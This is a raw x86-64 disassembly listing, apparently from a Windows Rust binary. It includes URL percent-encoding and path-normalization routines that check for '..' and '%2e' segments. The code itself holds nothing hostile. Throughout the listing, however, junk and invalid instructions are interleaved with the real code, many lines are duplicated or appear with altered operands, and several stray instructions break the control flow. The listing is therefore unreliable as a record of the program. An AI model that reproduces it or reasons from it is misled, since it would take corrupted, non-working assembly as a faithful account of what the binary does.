mov rdx, rsi
sub rdx, r9
cmp r14, rdx
jae 0x1400f9d83
cmp byte [r9 + r14], 0xbf
jg 0x1400f9d89
jmp 0x1400f9f21
jne 0x1400f9f21
cmp r8d, 0x23
je 0x1400f9da3
cmp r8d, 0x3f
je 0x1400f9da3
cmp r8d, 0x110000
jne 0x1400f9dad
jmp 0x1400f9ed3
cmp byte [rdi + 0x40], 0
je 0x1400f9ed6
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
mov qword [rsp + 0x20], rsi
mov r15, r9
mov r9, rbx
call fcn.1400fe220
mov rdx, r15
jmp 0x1400f9e29
inc rdx
dec r14
mov r13, rdx
lea rax, [rax + rax*2]
lea rcx, [0x14013cf3c]
add rax, rcx
mov r12, r14
mov r14d, 3
mov rdx, rax
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jb 0x1400f9ea4
mov rcx, qword [rdi + 8]
add rcx, r15
stc
stc
mov r8, r14
call fcn.140106530
add r15, r14
mov qword [rdi + 0x10], r15
mov dword [rdi + 0x10], edi
mov dword [rdi + 0x10], edi
mov r14, r12
mov rdx, r13
lea r12, [0x140172cb8]
test r14, r14
je 0x1400f9ec5
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400f9dd0
mov ecx, eax
shr ecx, 5
mov ecx, dword [r12 + rcx*4]
bt ecx, eax
jb 0x1400f9dd0
mov r13d, 1
mov ecx, 1
nop word cs:[rax + rax]
cmp r14, rcx
je 0x1400f9e9c
mov rax, rcx
movzx ecx, byte [rdx + rcx]
test cl, cl
js 0x1400f9e88
enter 0xffffffffffffb60f, 0xc
or al, byte [rcx + rcx*8 + 0xf441878]
mov dh, 0xc1
movzx r8d, cl
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r12 + rcx*4]
lea rcx, [rax + 1]
bt r9d, r8d
jae 0x1400f9e60
sub r14, rax
jb 0x1400f9eea
lea r13, [rdx + rax]
mov r12, r14
mov r14, rax
jmp 0x1400f9df3
xor r12d, r12d
jmp 0x1400f9df3
mov rcx, rdi
mov qword [rsp + 0x30], rdx
mov rdx, r15
mov r8, r14
call fcn.140108ba0
mov rdx, qword [rsp + 0x30]
mov r15, qword [rdi + 0x10]
jmp 0x1400f9e06
cmp rbx, rsi
jne 0x1400f9c5e
mov rax, rsi
jmp 0x1400f9ed6
invalid
mov rax, rbx
mov rdx, rsi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.mid___len
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 8
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x50
ror byte [rdi], 0x11
and al, 0x50
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x38]
call fcn.140108560
lea rax, [0x140172eb0]
mov qword [rsp + 0x20], rax
mov rcx, r9
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
int3
test r12b, r12b
je 0x1400fadd4
mov r12, qword [rsp + 0x40]
cmp r12, rdi
je 0x1400fa7a0
mov r11, rbx
mov r10, rbx
mov rax, r12
mov r14, r12
nop
movzx edx, byte [r14]
movzx r8d, dl
test r8b, r8b
js case.0x1400db5fd.502
lea r12, [r14 + 1]
cmp r8d, 0xd
jbe 0x1400fa080
jmp 0x1400fa0a0
mov ecx, r8d
and ecx, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
loope 0x1400fa04e
cmp r8b, 0xdf
jbe 0x1400fa050
loope 0x1400fa04e
movzx r8d, byte [r14 + 2]
shl r9d, 6
loope 0x1400fa024
and r8d, 0x3f
or r8d, r9d
cmp dl, 0xf0
enter 0xfffffffffffffa80, 0xfffffffffffffff0
jb 0x1400fa065
cmp ecx, dword [rbp - 0x73]
add al, 0x41
movzx edx, byte [rsi + 3]
mov dh, 0x56
invalid
lea r12, [r14 + 4]
movzx edx, byte [r14 + 3]
mov dh, 0x56
invalid
mov dh, 0x56
add eax, dword [rbx - 0x1e3ef81f]
adc al, byte [rcx - 0x3f]
loopne 0x1400fa043
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
invalid
or edx, ecx
mov r8d, edx
cmp r8d, 0xd
jbe 0x1400fa080
jmp 0x1400fa0a0
lea r12, [r14 + 2]
shl ecx, 6
or ecx, r9d
leave
leave
mov r8d, ecx
mov eax, ecx
cmp r8d, 0xd
jbe 0x1400fa080
jmp 0x1400fa0a0
lea r12, [r14 + 3]
shl ecx, 0xc
add eax, ecx
loope 0x1400fa078
or r8d, ecx
cmp r8d, 0xd
ja 0x1400fa0a0
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
bt r15d, r8d
jae 0x1400fa0a0
mov r14, r12
cmp r12, rdi
cld
cld
jne 0x1400f9fe0
invalid
jmp 0x1400fa760
add byte [rax], al
add byte [rax], al
cmp r8d, 0x110000
mov qword [rsp + 0x40], r12
and al, 0x40
je 0x1400fa765
mov r13d, 1
cmp r8d, 0x80
jb 0x1400fa0e1
mov r13d, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], cl
cmp r8d, 0x800
add byte [rax], al
jb 0x1400fa0e1
cmp r8d, 0x10000
mov r13d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
sbb r13, 0
fld qword [rax]
add byte [rax - 0x77], cl
cli
mov rdx, rdi
sub rdx, r14
cmp r13, rdx
jae 0x1400fa0f8
cmp byte [r14 + r13], 0xbf
jg case.0x1400db5fd.507
jmp 0x1400fb03c
sldt word [rax]
add byte [rdi], cl
test dword [rsi], edi
sldt word [rax]
jne 0x1400fb03c
cmp r8d, 0x3e
mov qword [rsp + 0x48], r10
clc
mov qword ds:[rsp + 0x48], r10
mov rsi, r11
jle 0x1400fa12a
cmp r8d, 0x3f
cmp eax, 0x3f
je 0x1400fa141
cmp r8d, 0x5c
jne 0x1400fa14c
cmp byte [rsp + 0x37], 2
je 0x1400fa159
and al, 0x37
add dh, byte [rdx + rdi - 0x80]
jge 0x1400fa162
cmp byte [rbp + 0x40], 2
je 0x1400fa159
add dh, byte [rsp + rsi - 0x17]
cld
jmp 0x1400fad26
or eax, dword [rax]
add byte [rcx - 0x7d], al
cmp r8d, 0x23
clc
and esi, dword [rcx + rdx + 0x41]
je 0x1400fa141
cmp r8d, 0x2f
je 0x1400fa141
cmp r8d, 0x2f
jne 0x1400fa159
cmp byte [rbp + 0x40], 2
je 0x1400fa159
jmp 0x1400fad54
add byte [rax], al
cmp byte [rbp + 0x40], 0
jne 0x1400fa159
jmp 0x1400fad02
mov dh, 0xb
add byte [rax], al
cmp r8d, 0x110000
je 0x1400fad07
add byte [rdi], cl
test byte [rsi + 0x4800000b], ch
mov ecx, dword [rbp + 0x30]
mov rcx, qword [rbp + 0x30]
xor byte [r8 - 0x75], r9b
push rbp
mov rdx, qword [rbp + 0x38]
mov qword [rsp + 0x20], rdi
cmp byte [rax - 0x77], cl
jl 0x1400fa189
mov dword [rsp + 0x20], edi
and byte [rbp - 0x77], cl
loope 0x1400fa152
mov r9, r12
call fcn.1400fe220
mov dl, 0x40
add byte [rax], al
cmp byte [rsp + 0x37], 0
jne 0x1400fa3bb
mov r11, rsi
cmp rsi, qword [rsp + 0x70]
mov r10, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jbe 0x1400fa1f1
mov rcx, qword [rbp + 8]
mov ecx, dword [rbp + 8]
mov rax, r11
sub rax, qword [rsp + 0x50]
sub eax, dword [rsp + 0x50]
sub eax, dword [rsp + 0x50]
jbe 0x1400fa1a5
mov rdx, qword [rsp + 0x50]
push rax
cmp byte [rcx + rdx], 0xbf
jle 0x1400fb08b
mov edi, 0xee68e0f
add byte [rax], al
cmp rax, 2
jne 0x1400fa1f1
add dh, byte [rbp + 0x46]
mov rdx, qword [rsp + 0x50]
movzx eax, byte [rcx + rdx]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fa1f1
cmp byte [rcx + rdx + 1], 0x3a
jne 0x1400fa1f1
cmp r11, qword [rbp]
cmp ebx, dword [rbp]
jne 0x1400fa1df
mov rcx, rbp
mov ecx, ebp
mov rsi, r10
call fcn.1400ba070
mov r10, rsi
mov rcx, qword [rbp + 8]
mov r11, qword [rbp + 0x10]
mov byte [rcx + r11], 0x2f
sbb dword [rdi], ebp
inc r11
mov qword [rbp + 0x10], r11
inc r10
inc edx
inc edx
mov rbx, r11
cmp byte [rbp + 0x40], 2
mov qword [rsp + 0x48], r10
jne 0x1400fa3d2
jne 0x1400fa3d2
add byte [rax], al
cmp byte [rsp + 0x37], 2
jne 0x1400fa58b
mov rax, qword [rbp]
mov qword [rsp + 0x38], rax
mov rbp, qword [rbp + 8]
jmp 0x1400fa255
invalid
lea rbx, [r11 + r13]
mov r15, qword [rsp + 0x58]
mov rbp, rcx
add r11, rcx
mov rcx, r11
mov rdx, r14
mov r8, r13
call fcn.140106530
mov qword [r15 + 0x10], rbx
mov r13, rsi
mov r14, rdi
mov esi, edi
mov esi, edi
mov r11, rbx
mov r15d, 0x2600
mov r10, qword [rsp + 0x48]
test r13, r13
je 0x1400fa73b
movzx eax, byte [r14]
movzx eax, al
test al, al
lea r9, [0x140173028]
lea ecx, [0x140173028]
lea ecx, [0x140173028]
js 0x1400fa282
mov ecx, eax
shr ecx, 5
mov ecx, dword [r9 + rcx*4]
or al, 0x89
mov dword [rdi], ecx
movabs dword [0x490000007e830fc1], eax
inc esi
bt ecx, eax
jae 0x1400fa300
inc r14
dec r13
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x14013cf3c]
sub al, 4
add byte [rcx + 1], cl
invalid
mov rsi, r13
mov r13d, 3
mov rcx, rbp
mov r15, qword [rsp + 0x38]
sub al, 4
add byte [rcx + 1], cl
invalid
mov rax, r15
sub rax, r11
cmp rax, r13
call 0x13f7725c6
invalid
jae 0x1400fa220
mov rbx, r11
add rbx, r13
jb 0x1400fafcf
add byte [rax], al
add byte [rax], al
lea r12, [r15 + r15]
cmp r12, rbx
cmovbe r12, rbx
cmp r12, 9
mov eax, 8
cmovb r12, rax
mov rbp, r11
test r15, r15
je case.0x1400ebe86.357
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xa0], r15
mov eax, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xa0
add byte [rax], al
add byte [rax + 1], bh
jmp 0x1400fa358
nop dword [rax]
mov edi, 1
mov ecx, 1
mov r15, qword [rsp + 0x38]
nop
cmp r13, rcx
je 0x1400fa3b1
add byte [rax], al
add byte [rax], al
mov rax, rcx
mov eax, ecx
movzx ecx, byte [r14 + rcx]
test cl, cl
js case.0x140018f24.3811
movzx edx, cl
mov ecx, edx
shr ecx, 5
add eax, 0x89048b45
add eax, 0x89048b45
lea rcx, [rax + 1]
bt r8d, edx
bt eax, edx
bt eax, edx
jae 0x1400fa310
sub r13, rax
jb 0x1400faff6
mov rcx, rbp
lea rdi, [r14 + rax]
mov rsi, r13
mov r13, rax
jmp 0x1400fa2aa
invalid
invalid
invalid
invalid
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x98], rax
cwde
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x78
cwde
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x78
mov r8, r12
lea r9, [rsp + 0x90]
call fcn.1400f6880
cmp qword [rsp + 0x78], 0
jne 0x1400fafb0
mov rcx, qword [rsp + 0x80]
mov r15, qword [rsp + 0x58]
mov qword [r15 + 8], rcx
mov qword [r15], r12
mov qword [rsp + 0x38], r12
mov r12, qword [rsp + 0x40]
mov r11, rbp
jmp 0x1400fa229
xor esi, esi
mov rcx, rbp
jmp 0x1400fa2aa
mov r10, qword [rsp + 0x48]
mov r11, rsi
cmp byte [rbp + 0x40], 2
mov qword [rsp + 0x48], r10
je 0x1400fa200
mov rax, qword [rbp]
mov qword [rsp + 0x38], rax
mov rsi, qword [rbp + 8]
jmp 0x1400fa422
lea rbx, [r11 + r13]
mov r15, qword [rsp + 0x58]
pop rax
pop rax
add r11, rsi
mov rcx, r11
mov rdx, r14
mov r8, r13
call fcn.140106530
mov qword [r15 + 0x10], rbx
mov r14, rdi
mov r13, rbp
mov r11, rbx
mov r15d, 0x2600
mov r10, qword [rsp + 0x48]
test r13, r13
je 0x1400fa73b
movzx eax, byte [r14]
movzx eax, al
test al, al
lea r9, [0x140173048]
js 0x1400fa44f
mov ecx, eax
shr ecx, 5
mov ecx, dword [r9 + rcx*4]
bt ecx, eax
jae 0x1400fa4d0
inc r14
dec r13
dec ebp
dec ebp
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x14013cf3c]
add r14, rax
mov rbp, r13
mov r13d, 3
mov r15, qword [rsp + 0x38]
mov rax, r15
sub rax, r11
cmp rax, r13
jae 0x1400fa3f0
mov rbx, r11
add rbx, r13
jb 0x1400fafcf
lea r12, [r15 + r15]
cmp r12, rbx
cmovbe r12, rbx
cmp r12, 9
mov eax, 8
cmovb r12, rax
test r15, r15
je 0x1400fa523
mov rax, rsi
mov rsi, r11
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xa0], r15
mov esp, 0xa024
add byte [rax + 1], bh
mov esp, 0xa024
add byte [rax + 1], bh
jmp 0x1400fa528
mov edi, 1
mov ecx, 1
mov r15, qword [rsp + 0x38]
nop
cmp r13, rcx
je 0x1400fa584
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fa50b
movzx edx, cl
mov dh, 0xd1
mov ecx, edx
shr ecx, 5
mov r8d, dword [r9 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400fa4e0
sub r13, rax
jb 0x1400faff6
lea rdi, [r14 + rax]
mov rbp, r13
mov r13, rax
jmp 0x1400fa474
mov rsi, r11
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x78]
mov r8, r12
lea r9, [rsp + 0x90]
call fcn.1400f6880
cmp qword [rsp + 0x78], 0
jne 0x1400fafb0
mov rax, qword [rsp + 0x80]
mov r15, qword [rsp + 0x58]
mov qword [r15 + 8], rax
mov qword [r15], r12
mov qword [rsp + 0x38], r12
mov r12, qword [rsp + 0x40]
mov r11, rsi
mov rsi, rax
jmp 0x1400fa3f9
xor ebp, ebp
jmp 0x1400fa474
mov rax, qword [rbp]
mov qword [rsp + 0x38], rax
mov rbp, qword [rbp + 8]
jmp 0x1400fa5d5
lea rbx, [r11 + r13]
mov r15, qword [rsp + 0x58]
mov rbp, rcx
add r11, rcx
mov rcx, r11
mov rdx, r14
mov r8, r13
call fcn.140106530
mov qword [r15 + 0x10], rbx
mov r13, rsi
mov r14, rdi
mov r11, rbx
mov r15d, 0x2600
mov r10, qword [rsp + 0x48]
test r13, r13
je 0x1400fa73b
movzx eax, byte [r14]
movzx eax, al
test al, al
lea r9, [0x140173038]
js 0x1400fa602
mov ecx, eax
shr ecx, 5
mov ecx, dword [r9 + rcx*4]
bt ecx, eax
jae 0x1400fa680
inc r14
dec r13
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x14013cf3c]
add r14, rax
mov rsi, r13
mov r13d, 3
mov rcx, rbp
mov r15, qword [rsp + 0x38]
mov rax, r15
sub rax, r11
cmp rax, r13
jae 0x1400fa5a0
mov rbx, r11
add rbx, r13
jb 0x1400fafcf
lea r12, [r15 + r15]
cmp r12, rbx
cmovbe r12, rbx
cmp r12, 9
mov eax, 8
cmovb r12, rax
mov rbp, r11
mov ebp, ebx
mov ebp, ebx
test r15, r15
je 0x1400fa6d6
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xa0], r15
mov eax, 1
jmp 0x1400fa6d8
mov edi, 1
mov ecx, 1
mov r15, qword [rsp + 0x38]
nop
cmp r13, rcx
je 0x1400fa731
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fa6bb
movzx edx, cl
mov ecx, edx
shr ecx, 5
mov r8d, dword [r9 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400fa690
sub r13, rax
jb 0x1400faff6
mov rcx, rbp
lea rdi, [r14 + rax]
mov rsi, r13
mov r13, rax
jmp 0x1400fa62a
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x78]
mov r8, r12
lea r9, [rsp + 0x90]
call fcn.1400f6880
cmp qword [rsp + 0x78], 0
jne 0x1400fafb0
mov rcx, qword [rsp + 0x80]
mov r15, qword [rsp + 0x58]
mov qword [r15 + 8], rcx
mov qword [r15], r12
mov qword [rsp + 0x38], r12
mov r12, qword [rsp + 0x40]
mov r11, rbp
jmp 0x1400fa5a9
xor esi, esi
mov rcx, rbp
jmp 0x1400fa62a
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x138]
cmp r12, rdi
mov r13, qword [rsp + 0x50]
jne 0x1400f9fd8
nop word cs:[rax + rax]
mov qword [rsp + 0x40], rdi
mov r14, qword [rbp + 8]
cmp r10, r11
ja 0x1400fafd9
xor r12d, r12d
test r10, r10
je 0x1400fa78d
cmp r10, r11
jae 0x1400fa78d
cmp byte [r14 + r10], 0xbf
jle 0x1400fafd9
xor r12d, r12d
mov rsi, r11
jmp 0x1400fa7b5
mov r14, qword [rbp + 8]
xor r12d, r12d
xor esp, esp
xor esp, esp
mov r11, rbx
mov r10, rbx
mov qword [rsp + 0x40], rdi
mov rsi, rbx
mov rax, r10
not rax
add rax, rsi
cmp rax, 5
ja case.default.0x1400fa7d6
lea rcx, [0x140179ed8]
or eax, 0x7f709
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r14 + r10], 0x2e
jne case.default.0x1400fa7d6
movzx eax, word [r14 + r10]
xor eax, 0x3225
movzx ecx, byte [r14 + r10 + 2]
xor ecx, 0x65
or cx, ax
je 0x1400fa819
movzx eax, word [r14 + r10]
cmp eax, 0x2e2e
je 0x1400fa950
cmp dword [r14 + r10], 0x2e653225
je 0x1400fa950
mov eax, dword [r14 + r10]
mov ecx, 0x25653225
xor eax, ecx
movzx ecx, word [r14 + r10 + 4]
xor ecx, 0x6532
or ecx, eax
je 0x1400fa950
and eax, 0x31254532
enter 0xf43, 0xffffffffffffffb7
invalid
mov qword [rsp + 0x40], rax
mov r13, qword [rsp + 0x50]
mov r10, qword [rsp + 0x48]
mov r11, rsi
mov r14, qword [rbp + 8]
cmp r10, r11
jbe 0x1400fa772
jmp 0x1400fafd9
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x1400fad38
mov rax, qword [rbp + 0x38]
xor edx, edx
call qword [rax + 0x28]
cmp rsi, qword [rbp]
jne 0x1400fad4a
cmp rbx, qword [rbp]
jne 0x1400fad66
mov rcx, rbp
call fcn.1400ba070
mov rbx, qword [rbp + 0x10]
mov r14, qword [rbp + 8]
lea rax, [r14 + rbx]
mov rsi, rbx
mov r13, qword [rsp + 0x50]
mov r10, qword [rsp + 0x48]
mov byte [rax], 0x2f
lea rbx, [rsi + 1]
mov qword [rbp + 0x10], rbx
cmp r10, rsi
ja 0x1400fb0ff
test r10, r10
je 0x1400fadae
mov ah, 1
cmp byte [r14 + r10], 0xbf
jg 0x1400fadbf
jmp 0x1400fb0ff
add byte [rdi], cl
test dword [rcx + 3], edx
add byte [rax], al
mov r12b, 1
test rsi, rsi
je 0x1400fadc7
test rbx, rbx
je 0x1400fb0fd
mov r11, rbx
jmp 0x1400fa7b5
mov r11d, 1
add byte [rax], al
xor esi, esi
jmp 0x1400fa7b5
cmp byte [rsp + 0x37], 0
jne 0x1400faf76
mov r14, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x1400fae17
cmp rdx, rax
jbe 0x1400fae15
cmp byte [r14 + rax], 0xbf
jg 0x1400fae17
lea rcx, str.assertion_failed:_self.is_char_boundary_at_
lea r8, [0x140172bf8]
mov edx, 0x2b
call fcn.140108630
jne 0x1400fadfd
mov rbx, rdx
sub rbx, rax
jb 0x1400fb0c1
mov r15d, 1
je 0x1400fae4e
js 0x1400fb0eb
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400df910
test rax, rax
je 0x1400fb0f0
mov rsi, qword [rsp + 0x70]
mov esi, dword [rsp + 0x70]
mov qword [rbp + 0x10], rsi
lea rdx, [r14 + rsi]
mov rcx, r15
mov r8, rbx
call fcn.140106530
cmp qword [rbp], rsi
jne 0x1400fae80
mov rcx, rbp
call fcn.1400ba070
dec dword [rbx + rcx*4 + 0x75]
or byte [rax - 0x75], cl
jne 0x1400fae8c
dec dword [rbx + rcx*4 + 0x75]
or byte [rax - 0x75], cl
jne 0x1400fae8c
lea r13, [rsi + 1]
mov byte [r14 + rsi], 0x2f
mov qword [rbp + 0x10], r13
xor eax, eax
jmp 0x1400fae9f
adc cl, byte [rdi]
invalid
mov rax, qword [rsp + 0x40]
mov rdx, rdi
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
call fcn.1401082a0
mov rcx, qword [rsp + 0x68]
call fcn.1401082a0
lea rax, [0x140173058]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r11
mov r8, r10
mov r9, r11
call fcn.140108ac0
lea rax, str.mid___len
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x90]
call fcn.140108560
lea rax, [0x140172eb0]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor r8d, r8d
mov r9, r13
call fcn.140108ac0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172bb0]
mov edx, 0x30
call fcn.140108630
lea rax, [0x1401730a0]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r10
mov r8, rsi
mov r9, r10
call fcn.140108ac0
lea rax, [0x140173010]
mov qword [rsp + 0x20], rax
mov rdx, r11
mov r8, qword [rsp + 0x50]
mov r9, r11
call fcn.140108ac0
lea rax, [0x140173088]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r10
mov r9, r10
call fcn.140108ac0
mov rcx, qword [rsp + 0x70]
call fcn.1401083f0
add r14, r8
lea rax, [0x1401732c8]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r14
mov r9, rdx
call fcn.140108ac0
call fcn.140010970
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
xor ebx, ebx
lea rax, [0x140173070]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbx
mov r8, r10
mov r9, rsi
call fcn.140108ac0
int3
in al, dx
test al, 0
add byte [rax], al
mov ebp, r9d
mov rbx, rdx
mov rdi, rcx
mov r9, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x148]
mov esi, dword [rsp + 0x140]
movzx eax, word [rsp + 0x138]
mov word [rsp + 0x4e], ax
movzx eax, word [rsp + 0x130]
iretd
movzx r8, word [rsp + r12 + 0x130]
mov word [rsp + 0x4c], ax
mov r15, qword [rsp + 0x128]
mov r12d, dword [rsp + 0x120]
mov eax, dword [rsp + 0x118]
movsb byte [rdi], byte [rsi]
and al, 0x20
add dword [rax], eax
add byte [rbx + 0x1182484], cl
add byte [rax], al
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x60], eax
mov r14d, ebp
lea r13, [r14 + 1]
cmp r13, rsi
jne 0x1400fb1dd
mov dword [rsp + 0x3c], r12d
mov qword [rsp + 0x40], r15
mov r12, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
mov r13, r15
sub r13, rsi
jbe 0x1400fb22c
cmp byte [r12 + rsi], 0xbf
jg 0x1400fb22e
lea rax, [0x1401731d8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r15
mov r8, rsi
mov r9, r15
call fcn.140108ac0
lea rax, [r14 + 3]
cmp rax, rsi
jne 0x1400fb3c0
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x3c], r12d
mov qword [rsp + 0x40], r15
mov byte [rsp + 0x3a], r8b
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
test ebp, ebp
je 0x1400fb324
cmp rdx, r14
jbe 0x1400fb31e
cmp byte [rcx + r14], 0xc0
jge 0x1400fb324
jmp 0x1400fb5aa
jne 0x1400fb1c0
cmp r13, 2
jb 0x1400fb240
movzx eax, word [r12 + rsi]
cmp eax, 0x2f2f
je 0x1400fb2b1
test ebp, ebp
je 0x1400fb25b
cmp r15, r14
jbe 0x1400fb255
cmp byte [r12 + r14], 0xbf
jg 0x1400fb25b
jmp 0x1400fb5c1
jne 0x1400fb5c1
add byte [rbp + 0x29], cl
test dword [rcx - 0x7d], 0xf7303ff
sub r15, r14
cmp r15, 3
jae 0x1400fb273
mov r15, qword [rsp + 0x40]
mov r12d, dword [rsp + 0x3c]
jmp 0x1400fb3c0
movzx eax, word [r12 + r14]
xor eax, 0x2f3a
movzx ecx, byte [r12 + r14 + 2]
xor ecx, 0x2f
or cx, ax
mov r15, qword [rsp + 0x40]
mov r12d, dword [rsp + 0x3c]
jne 0x1400fb3c0
lea rcx, str.assertion_failed:__self.serialization_scheme_end_as_usize.._.starts_with__:____
lea r8, [0x140173208]
mov edx, 0x4f
call fcn.140108630
cmp byte [r12 + rsi], 0xbf
jle 0x1400fb5f0
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], rdx
mov byte [rsp + 0x3a], r8b
mov rax, qword [rbx]
sub rax, r15
cmp rax, 1
jbe 0x1400fb590
lea rdx, [r12 + rsi]
lea rcx, [r12 + rsi]
add rcx, 2
mov r8, r13
call fcn.140106530
mov word [r12 + rsi], 0x2e2f
add r15, 2
mov qword [rbx + 0x10], r15
add esi, 2
movzx r8d, byte [rsp + 0x3a]
movzx eax, byte [rsp + 0x3a]
movzx eax, byte [rsp + 0x3a]
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
test ebp, ebp
jne 0x1400fb244
jmp 0x1400fb25b
jne 0x1400fb5aa
mov r12, rdx
sub r12, rsi
jbe 0x1400fb383
movzx eax, byte [rcx + rsi]
mov byte [rsp + 0x3b], al
cmp al, 0xbf
jle 0x1400fb5aa
mov qword [rsp + 0x70], rdx
mov r8, rsi
sub r8, r14
